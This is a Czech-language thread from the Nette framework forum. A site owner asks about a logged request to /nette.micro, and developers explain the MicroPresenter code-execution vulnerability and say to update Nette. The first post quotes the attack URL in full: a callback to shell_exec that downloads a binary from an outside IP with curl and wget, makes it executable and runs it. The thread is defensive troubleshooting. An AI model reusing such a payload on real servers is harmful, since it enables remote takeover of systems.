Nette.micro – co to je, k čemu to je?

Terka04
Člen | 44
+
0
-

Dobrý den,
dnes mi přišel z aplikace e-mail:


PHP Warning: shell_exec() has been disabled for security reasons in /var/www/clients/client1/web1/web/vendor/nette/application/src/Application/MicroPresenter.php:90

source: https://www.domena.cz/nette.micro/?callback=shell_exec&cmd=cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2F155.94.154.170%3A8088%2Fudp%3Bwget+http%3A%2F%2F155.94.154.170%3A8088%2Fudp%3Bchmod+777+udp%3B.%2Fudp

Nevíte o co se kdo pokoušel? Na internetu jsem nalezla, že se jedná o nějakou zranitelnost, ale tu bych měla mít pravděpodobně vyřešenou. K čemu je to nette.micro? Mohu ho smazat, nebo co proti tomu udělat? Standardně bych očekávala, že cokoliv za lomítkem bude reagovat jen na mnou vytvořené presentery, nebo adresáře.

Děkuji za postřehy.

Editoval Terka04 (8. 11. 2021 18:01)

Marek Bartoš
Nette Blogger | 1280
+
0
-

Pokoušel se odeslat request na IP 155.94.154.170. Nejspíš aby zjistil, zda je web zranitelný. Jak chybu opravit je popsané tady: https://blog.nette.org/…pusteni-kodu

Presenter je spustitelný proto, že existuje nějaká routa obsahující proměnnou <presenter>. S tou se lze dostat na jakýkoli presenter. Jako nejjednodušší opravu ho smazat můžeš, pokud ho nepoužíváš. Lepší je ale aktualizovat.

Editoval Marek Bartoš (8. 11. 2021 18:05)

Terka04
Člen | 44
+
0
-

Marek Bartoš napsal(a):

Pokoušel se odeslat request na IP 155.94.154.170. Nejspíš aby zjistil, zda je web zranitelný. Jak chybu opravit je popsané tady: https://blog.nette.org/…pusteni-kodu

Presenter je spustitelný proto, že existuje nějaká routa obsahující proměnnou <presenter>. S tou se lze dostat na jakýkoli presenter. Jako nejjednodušší opravu ho smazat můžeš, pokud ho nepoužíváš. Lepší je ale aktualizovat.

Děkuji za odpověď. Článek jsem četla a zranitelnost mám dle všeho opravenou, ale… Jenže já žádný presenter takto, nebo podobně nemám ani vytvořený. Router mám ve stocku, mírně upravený o GET parametry. Kde ten „presenter“ naleznu?

Marek Bartoš
Nette Blogger | 1280
+
+2
-

Presenter je přímo v Nette https://github.com/…resenter.php
Naroutovatelný je díky té routě obsahující <presenter> a proto, že na něj existuje mapping https://github.com/…rFactory.php#L25

Terka04
Člen | 44
+
0
-

Marek Bartoš napsal(a):

Presenter je přímo v Nette https://github.com/…resenter.php
Naroutovatelný je díky té routě obsahující <presenter> a proto, že na něj existuje mapping https://github.com/…rFactory.php#L25

Děkuji za vysvětlení. Mohlo bys mě prosím malinko pošťouchnout, jakým elegantním způsobem mapování na to zrušit? Ať na to koukám, jak na to koukám, nic mě nenapadá.

Marek Bartoš
Nette Blogger | 1280
+
+1
-

Není třeba ho rušit, po opravě už není možné jej nijak zneužít z vnější

David Grudl
Nette Core | 8239
+
+1
-

Zdá se, že zranitelnost opravenou nemáš. Zkus aktualizovat nette pomocí composer update.